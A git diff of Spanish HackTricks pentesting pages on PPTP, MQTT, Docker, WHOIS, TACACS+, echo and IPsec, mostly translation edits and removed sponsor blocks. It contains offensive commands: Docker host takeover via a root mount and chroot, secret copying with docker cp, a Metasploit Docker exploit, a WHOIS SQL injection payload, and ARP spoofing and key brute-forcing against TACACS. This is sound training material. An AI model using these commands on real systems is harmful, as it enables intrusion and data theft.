**Point-to-Point Tunneling Protocol (PPTP)** es un método ampliamente utilizado para **acceso remoto** a dispositivos móviles. Utiliza **TCP puerto 1723** para el intercambio de claves, mientras que **IP protocolo 47** (Generic Routing Encapsulation, o **GRE**), se utiliza para cifrar los datos que se transmiten entre pares. Esta configuración es crucial para establecer un canal de comunicación seguro a través de internet, asegurando que los datos intercambiados permanezcan confidenciales y protegidos contra accesos no autorizados.
|
||||
|
||||
**Puerto Predeterminado**:1723
|
||||
**Puerto por Defecto**:1723
|
||||
|
||||
## Enumeración
|
||||
```bash
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
**MQ Telemetry Transport (MQTT)** es conocido como un **protocolo de mensajería de publicación/suscripción** que se destaca por su extrema simplicidad y ligereza. Este protocolo está específicamente diseñado para entornos donde los dispositivos tienen capacidades limitadas y operan sobre redes caracterizadas por un bajo ancho de banda, alta latencia o conexiones poco fiables. Los objetivos principales de MQTT incluyen minimizar el uso del ancho de banda de la red y reducir la demanda sobre los recursos del dispositivo. Además, busca mantener una comunicación fiable y proporcionar un cierto nivel de garantía de entrega. Estos objetivos hacen que MQTT sea excepcionalmente adecuado para el creciente campo de la **comunicación máquina a máquina (M2M)** y el **Internet de las Cosas (IoT)**, donde es esencial conectar una multitud de dispositivos de manera eficiente. Además, MQTT es muy beneficioso para aplicaciones móviles, donde conservar el ancho de banda y la vida de la batería es crucial.
|
||||
**MQ Telemetry Transport (MQTT)** es conocido como un **protocolo de mensajería de publicación/suscripción** que se destaca por su extrema simplicidad y ligereza. Este protocolo está específicamente diseñado para entornos donde los dispositivos tienen capacidades limitadas y operan sobre redes caracterizadas por un bajo ancho de banda, alta latencia o conexiones poco fiables. Los objetivos principales de MQTT incluyen minimizar el uso del ancho de banda de la red y reducir la demanda sobre los recursos del dispositivo. Además, busca mantener una comunicación fiable y proporcionar un cierto nivel de garantía de entrega. Estos objetivos hacen que MQTT sea excepcionalmente adecuado para el creciente campo de la **comunicación máquina a máquina (M2M)** y el **Internet de las Cosas (IoT)**, donde es esencial conectar de manera eficiente una multitud de dispositivos. Además, MQTT es muy beneficioso para aplicaciones móviles, donde conservar el ancho de banda y la vida de la batería es crucial.
|
||||
|
||||
**Puerto por defecto:** 1883
|
||||
```
|
||||
|
@ -104,22 +91,22 @@ main()
|
|||
|
||||
from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
|
||||
### El patrón Publicar/Suscribir <a href="#b667" id="b667"></a>
|
||||
### El Patrón Publicar/Suscribirse <a href="#b667" id="b667"></a>
|
||||
|
||||
El modelo de publicar/suscribir se compone de:
|
||||
El modelo de publicar/suscribirse se compone de:
|
||||
|
||||
* **Publicador**: publica un mensaje en uno (o varios) tema(s) en el broker.
|
||||
* **Suscriptor**: se suscribe a uno (o varios) tema(s) en el broker y recibe todos los mensajes enviados por el publicador.
|
||||
* **Broker**: enruta todos los mensajes de los publicadores a los suscriptores.
|
||||
* **Tema**: consiste en uno o más niveles que están separados por una barra diagonal (por ejemplo, /smartshouse/livingroom/temperature).
|
||||
|
||||
### Formato de Paquete <a href="#f15a" id="f15a"></a>
|
||||
### Formato del Paquete <a href="#f15a" id="f15a"></a>
|
||||
|
||||
Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Encabezado Fijo
|
||||
|
||||
![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png)
|
||||
|
||||
### Tipos de Paquete
|
||||
### Tipos de Paquetes
|
||||
|
||||
* CONNECT (1): Iniciado por el cliente para solicitar una conexión al servidor.
|
||||
* CONNACK (2): El reconocimiento del servidor de una conexión exitosa.
|
||||
|
@ -141,17 +128,6 @@ Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Encabezado
|
|||
|
||||
* `port:1883 MQTT`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,31 +15,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Docker Basics
|
||||
|
||||
#### What is
|
||||
|
||||
Docker es la **plataforma de vanguardia** en la **industria de la contenedorización**, liderando la **innovación continua**. Facilita la creación y distribución sin esfuerzo de aplicaciones, abarcando desde lo **tradicional hasta lo futurista**, y asegura su **despliegue seguro** en diversos entornos.
|
||||
Docker es la **plataforma de vanguardia** en la **industria de la contenedorización**, liderando la **innovación continua**. Facilita la creación y distribución sin esfuerzo de aplicaciones, abarcando desde **tradicionales hasta futuristas**, y asegura su **despliegue seguro** en diversos entornos.
|
||||
|
||||
#### Basic docker architecture
|
||||
|
||||
* [**containerd**](http://containerd.io): Este es un **runtime central** para contenedores, encargado de la **gestión integral del ciclo de vida de un contenedor**. Esto implica manejar la **transferencia y almacenamiento de imágenes**, además de supervisar la **ejecución, monitoreo y red** de los contenedores. **Más detalles** sobre containerd se **exploran más adelante**.
|
||||
* El **container-shim** juega un papel crítico como **intermediario** en el manejo de **contenedores sin cabeza**, asumiendo sin problemas el control de **runc** después de que los contenedores son inicializados.
|
||||
* [**runc**](http://runc.io): Reconocido por sus capacidades de **runtime de contenedor ligero y universal**, runc está alineado con el **estándar OCI**. Es utilizado por containerd para **iniciar y gestionar contenedores** de acuerdo con las **directrices OCI**, habiendo evolucionado del original **libcontainer**.
|
||||
* [**containerd**](http://containerd.io): Este es un **runtime central** para contenedores, encargado de la **gestión integral del ciclo de vida de un contenedor**. Esto implica manejar la **transferencia y almacenamiento de imágenes**, además de supervisar la **ejecución, monitoreo y red** de los contenedores. **Más detalles** sobre containerd se **exploran más a fondo**.
|
||||
* El **container-shim** juega un papel crítico como un **intermediario** en el manejo de **contenedores sin cabeza**, asumiendo sin problemas el control de **runc** después de que los contenedores son inicializados.
|
||||
* [**runc**](http://runc.io): Reconocido por sus capacidades de **runtime de contenedor ligero y universal**, runc está alineado con el **estándar OCI**. Es utilizado por containerd para **iniciar y gestionar contenedores** de acuerdo con las **directrices OCI**, habiendo evolucionado a partir del original **libcontainer**.
|
||||
* [**grpc**](http://www.grpc.io) es esencial para **facilitar la comunicación** entre containerd y el **docker-engine**, asegurando una **interacción eficiente**.
|
||||
* El [**OCI**](https://www.opencontainers.org) es fundamental para mantener las **especificaciones OCI** para runtime e imágenes, siendo las últimas versiones de Docker **compatibles con los estándares de imagen y runtime OCI**.
|
||||
|
||||
|
@ -68,7 +55,7 @@ docker system prune -a
|
|||
```
|
||||
#### Containerd
|
||||
|
||||
**Containerd** fue desarrollado específicamente para satisfacer las necesidades de plataformas de contenedores como **Docker y Kubernetes**, entre otras. Su objetivo es **simplificar la ejecución de contenedores** en varios sistemas operativos, incluyendo Linux, Windows, Solaris y más, al abstraer la funcionalidad específica del sistema operativo y las llamadas al sistema. El objetivo de Containerd es incluir solo las características esenciales requeridas por sus usuarios, esforzándose por omitir componentes innecesarios. Sin embargo, se reconoce que lograr este objetivo por completo es un desafío.
|
||||
**Containerd** fue desarrollado específicamente para satisfacer las necesidades de plataformas de contenedores como **Docker y Kubernetes**, entre otras. Su objetivo es **simplificar la ejecución de contenedores** en varios sistemas operativos, incluyendo Linux, Windows, Solaris y más, al abstraer la funcionalidad específica del sistema operativo y las llamadas al sistema. La meta de Containerd es incluir solo las características esenciales requeridas por sus usuarios, esforzándose por omitir componentes innecesarios. Sin embargo, lograr este objetivo por completo se reconoce como un desafío.
|
||||
|
||||
Una decisión clave de diseño es que **Containerd no maneja la red**. La red se considera un elemento crítico en sistemas distribuidos, con complejidades como la Red Definida por Software (SDN) y el descubrimiento de servicios que varían significativamente de una plataforma a otra. Por lo tanto, Containerd deja los aspectos de red para ser gestionados por las plataformas que soporta.
|
||||
|
||||
|
@ -90,7 +77,7 @@ ctr container delete <containerName>
|
|||
```
|
||||
#### Podman
|
||||
|
||||
**Podman** es un motor de contenedores de código abierto que se adhiere a los [estándares de Open Container Initiative (OCI)](https://github.com/opencontainers), desarrollado y mantenido por Red Hat. Se destaca de Docker con varias características distintas, notablemente su **arquitectura sin demonio** y soporte para **contenedores sin privilegios de root**, lo que permite a los usuarios ejecutar contenedores sin privilegios de root.
|
||||
**Podman** es un motor de contenedores de código abierto que se adhiere a los [estándares de la Open Container Initiative (OCI)](https://github.com/opencontainers), desarrollado y mantenido por Red Hat. Se destaca de Docker con varias características distintas, notablemente su **arquitectura sin demonio** y soporte para **contenedores sin privilegios de root**, lo que permite a los usuarios ejecutar contenedores sin privilegios de root.
|
||||
|
||||
Podman está diseñado para ser compatible con la API de Docker, lo que permite el uso de comandos de la CLI de Docker. Esta compatibilidad se extiende a su ecosistema, que incluye herramientas como **Buildah** para construir imágenes de contenedores y **Skopeo** para operaciones de imágenes como push, pull e inspect. Más detalles sobre estas herramientas se pueden encontrar en su [página de GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
|
@ -103,7 +90,7 @@ Podman está diseñado para ser compatible con la API de Docker, lo que permite
|
|||
El enfoque de Podman ofrece una alternativa segura y flexible a Docker, enfatizando la gestión de privilegios de usuario y la compatibilidad con flujos de trabajo existentes de Docker.
|
||||
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que, dado que podman busca soportar la misma API que docker, puede usar los mismos comandos con podman que con docker, tales como:
|
||||
Nota que, dado que podman busca soportar la misma API que docker, puedes usar los mismos comandos con podman que con docker, tales como:
|
||||
```bash
|
||||
podman --version
|
||||
podman info
|
||||
|
@ -161,7 +148,7 @@ docker-init:
|
|||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
Si puedes **contactar la API remota de docker con el `docker` command** puedes **ejecutar** cualquiera de los **docker** [**comandos previamente** comentados](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio.
|
||||
Si puedes **contactar la API remota de docker con el `docker` command** puedes **ejecutar** cualquiera de los **docker** [**comandos comentados previamente**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio.
|
||||
|
||||
{% hint style="info" %}
|
||||
Puedes `export DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker
|
||||
|
@ -173,7 +160,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
|||
```
|
||||
**Curl**
|
||||
|
||||
A veces verás **2376** disponible para el endpoint **TLS**. No he podido conectarme a él con el cliente de docker, pero es posible hacerlo con curl.
|
||||
A veces verás **2376** disponible para el **TLS** endpoint. No he podido conectarme a él con el cliente de docker, pero es posible hacerlo con curl.
|
||||
```bash
|
||||
#List containers
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
|
@ -210,7 +197,7 @@ Si deseas más información sobre esto, hay más información disponible de dond
|
|||
msf> use exploit/linux/http/docker_daemon_tcp
|
||||
nmap -sV --script "docker-*" -p <PORT> <IP>
|
||||
```
|
||||
### Comprometiendo
|
||||
### Compromiso
|
||||
|
||||
En la siguiente página puedes encontrar formas de **escapar de un contenedor de docker**:
|
||||
|
||||
|
@ -254,7 +241,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
* `./docker-bench-security.sh`
|
||||
* Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de docker.
|
||||
* `dockscan -v unix:///var/run/docker.sock`
|
||||
* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
|
||||
* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para ver los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
|
||||
* `docker run --rm -it r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
|
@ -289,7 +276,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
||||
#### Registrando actividad sospechosa
|
||||
|
||||
* Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamiento sospechoso en contenedores en ejecución**.
|
||||
* Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamientos sospechosos en contenedores en ejecución**.
|
||||
* Nota en el siguiente fragmento cómo **Falco compila un módulo del kernel e inserta**. Después de eso, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos detectó cómo se abrió un shell dentro de uno de los contenedores.
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
|
@ -340,17 +327,6 @@ Puedes usar auditd para monitorear docker.
|
|||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
El protocolo **WHOIS** sirve como un método estándar para **consultar sobre los registrantes o titulares de varios recursos de Internet** a través de bases de datos específicas. Estos recursos abarcan nombres de dominio, bloques de direcciones IP y sistemas autónomos, entre otros. Más allá de estos, el protocolo se aplica para acceder a un espectro más amplio de información.
|
||||
El protocolo **WHOIS** sirve como un método estándar para **consultar sobre los registrantes o titulares de varios recursos de Internet** a través de bases de datos específicas. Estos recursos abarcan nombres de dominio, bloques de direcciones IP y sistemas autónomos, entre otros. Más allá de esto, el protocolo se aplica para acceder a un espectro más amplio de información.
|
||||
|
||||
**Puerto por defecto:** 43
|
||||
```
|
||||
|
@ -43,18 +35,12 @@ Notice que a veces, al solicitar información a un servicio WHOIS, la base de da
|
|||
|
||||
![](<../.gitbook/assets/image (301).png>)
|
||||
|
||||
Además, el servicio WHOIS siempre necesita usar una **base de datos** para almacenar y extraer la información. Por lo tanto, una posible **SQLInjection** podría estar presente al **consultar** la base de datos con alguna información proporcionada por el usuario. Por ejemplo, haciendo: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` podrías ser capaz de **extraer toda** la **información** guardada en la base de datos.
|
||||
Además, el servicio WHOIS siempre necesita usar una **base de datos** para almacenar y extraer la información. Por lo tanto, una posible **SQLInjection** podría estar presente al **consultar** la base de datos con información proporcionada por el usuario. Por ejemplo, haciendo: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` podrías ser capaz de **extraer toda** la **información** guardada en la base de datos.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
El protocolo **Terminal Access Controller Access Control System (TACACS)** se utiliza para validar centralmente a los usuarios que intentan acceder a enrutadores o Servidores de Acceso a la Red (NAS). Su versión mejorada, **TACACS+**, separa los servicios en autenticación, autorización y contabilidad (AAA).
|
||||
|
@ -46,22 +38,17 @@ Se puede utilizar un **ataque de suplantación ARP para realizar un ataque Man-i
|
|||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
||||
Si la clave se **rompe por fuerza bruta** (**generalmente en formato encriptado MD5**), **podemos acceder al equipo y descifrar el tráfico encriptado por TACACS.**
|
||||
|
||||
### Decrypting Traffic
|
||||
Una vez que la clave se ha descifrado con éxito, el siguiente paso es **decrypt the TACACS-encrypted traffic**. Wireshark puede manejar el tráfico TACACS cifrado si se proporciona la clave. Al analizar el tráfico descifrado, se puede obtener información como el **banner utilizado y el nombre de usuario del admin**.
|
||||
### Descifrando Tráfico
|
||||
Una vez que la clave se ha descifrado con éxito, el siguiente paso es **descifrar el tráfico encriptado por TACACS**. Wireshark puede manejar tráfico TACACS encriptado si se proporciona la clave. Al analizar el tráfico descifrado, se puede obtener información como el **banner utilizado y el nombre de usuario del admin**.
|
||||
|
||||
Al obtener acceso al panel de control del equipo de red utilizando las credenciales obtenidas, el atacante puede ejercer control sobre la red. Es importante señalar que estas acciones son estrictamente con fines educativos y no deben utilizarse sin la debida autorización.
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -13,19 +13,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
# Información Básica
|
||||
|
||||
Un servicio de eco está funcionando en este host. El servicio de eco fue diseñado para propósitos de prueba y medición y puede escuchar en los protocolos TCP y UDP. El servidor devuelve cualquier dato que recibe, sin modificación.\
|
||||
**Es posible causar una denegación de servicio conectando un servicio de eco al servicio de eco en la misma o en otra máquina**. Debido al número excesivamente alto de paquetes producidos, las máquinas afectadas pueden quedar efectivamente fuera de servicio.\
|
||||
**Es posible causar una denegación de servicio conectando un servicio de eco al servicio de eco en la misma máquina u otra**. Debido al número excesivamente alto de paquetes producidos, las máquinas afectadas pueden quedar efectivamente fuera de servicio.\
|
||||
Info de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Puerto por Defecto:** 7/tcp/udp
|
||||
|
@ -51,12 +43,6 @@ Hello echo #This is the response
|
|||
[CA-1996-01 Ataque de Denegación de Servicio por UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -16,23 +16,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
**IPsec** es ampliamente reconocido como la principal tecnología para asegurar las comunicaciones entre redes (LAN a LAN) y desde usuarios remotos hasta la puerta de enlace de la red (acceso remoto), sirviendo como la columna vertebral para soluciones de VPN empresariales.
|
||||
|
||||
El establecimiento de una **asociación de seguridad (SA)** entre dos puntos es gestionado por **IKE**, que opera bajo el paraguas de ISAKMP, un protocolo diseñado para la autenticación y el intercambio de claves. Este proceso se desarrolla en varias fases:
|
||||
|
||||
* **Fase 1:** Se crea un canal seguro entre dos puntos finales. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea el modo principal, que implica tres pares de mensajes, o **modo agresivo**.
|
||||
* **Fase 1:** Se crea un canal seguro entre dos puntos finales. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea el modo principal, que involucra tres pares de mensajes, o **modo agresivo**.
|
||||
* **Fase 1.5:** Aunque no es obligatorio, esta fase, conocida como la Fase de Autenticación Extendida, verifica la identidad del usuario que intenta conectarse al requerir un nombre de usuario y una contraseña.
|
||||
* **Fase 2:** Esta fase se dedica a negociar los parámetros para asegurar los datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para garantizar la **Perfect Forward Secrecy (PFS)**, mejorando la seguridad.
|
||||
* **Fase 2:** Esta fase está dedicada a negociar los parámetros para asegurar los datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para asegurar la **Perfect Forward Secrecy (PFS)**, mejorando la seguridad.
|
||||
|
||||
**Puerto por defecto:** 500/udp
|
||||
|
||||
|
@ -48,7 +40,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|||
```
|
||||
## **Encontrar una transformación válida**
|
||||
|
||||
La configuración de IPSec puede estar preparada solo para aceptar una o pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene una serie de atributos como DES o 3DES como el **algoritmo de cifrado**, SHA o MD5 como el **algoritmo de integridad**, una clave precompartida como el **tipo de autenticación**, Diffie-Hellman 1 o 2 como el **algoritmo de distribución de claves** y 28800 segundos como la **vida útil**.
|
||||
La configuración de IPSec puede estar preparada solo para aceptar una o unas pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene una serie de atributos como DES o 3DES como el **algoritmo de cifrado**, SHA o MD5 como el **algoritmo de integridad**, una clave precompartida como el **tipo de autenticación**, Diffie-Hellman 1 o 2 como el **algoritmo de distribución de claves** y 28800 segundos como la **vida útil**.
|
||||
|
||||
Entonces, lo primero que tienes que hacer es **encontrar una transformación válida**, para que el servidor hable contigo. Para hacerlo, puedes usar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal y envía un paquete a la puerta de enlace con un encabezado ISAKMP y una única propuesta con **ocho transformaciones dentro de ella**.
|
||||
|
||||
|
@ -70,7 +62,7 @@ Como puedes ver en la respuesta anterior, hay un campo llamado **AUTH** con el v
|
|||
* _**1 returned handshake; 0 returned notify:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y uno o más de los transformaciones que propusiste son aceptables** (una transformación válida se mostrará en la salida).
|
||||
* _0 returned handshake; 1 returned notify:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguna de las transformaciones es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).
|
||||
|
||||
Entonces, en este caso ya tenemos una transformación válida, pero si estás en el 3er caso, entonces necesitas **forzar un poco para encontrar una transformación válida:**
|
||||
Entonces, en este caso ya tenemos una transformación válida, pero si estás en el tercer caso, entonces necesitas **forzar un poco para encontrar una transformación válida:**
|
||||
|
||||
Primero que todo, necesitas crear todas las transformaciones posibles:
|
||||
```bash
|
||||
|
@ -99,7 +91,7 @@ Cisco indica evitar el uso de los grupos DH 1 y 2 porque no son lo suficientemen
|
|||
|
||||
### Huella digital del servidor
|
||||
|
||||
Luego, puedes usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de reproducir. Luego, **analiza** la **diferencia** de **tiempo** **entre** los **mensajes** recibidos del servidor y el patrón de respuesta correspondiente, el pentester puede identificar con éxito al proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la **carga útil opcional de Vendor ID (VID)** con IKE.
|
||||
Luego, puedes usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de reproducir. Luego, **analiza** la **diferencia** de **tiempo** **entre** los **mensajes** recibidos del servidor y el patrón de respuesta correspondiente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la **carga útil opcional de ID de proveedor (VID)** con IKE.
|
||||
|
||||
**Especifica la transformación válida si es necesario** (usando --trans)
|
||||
|
||||
|
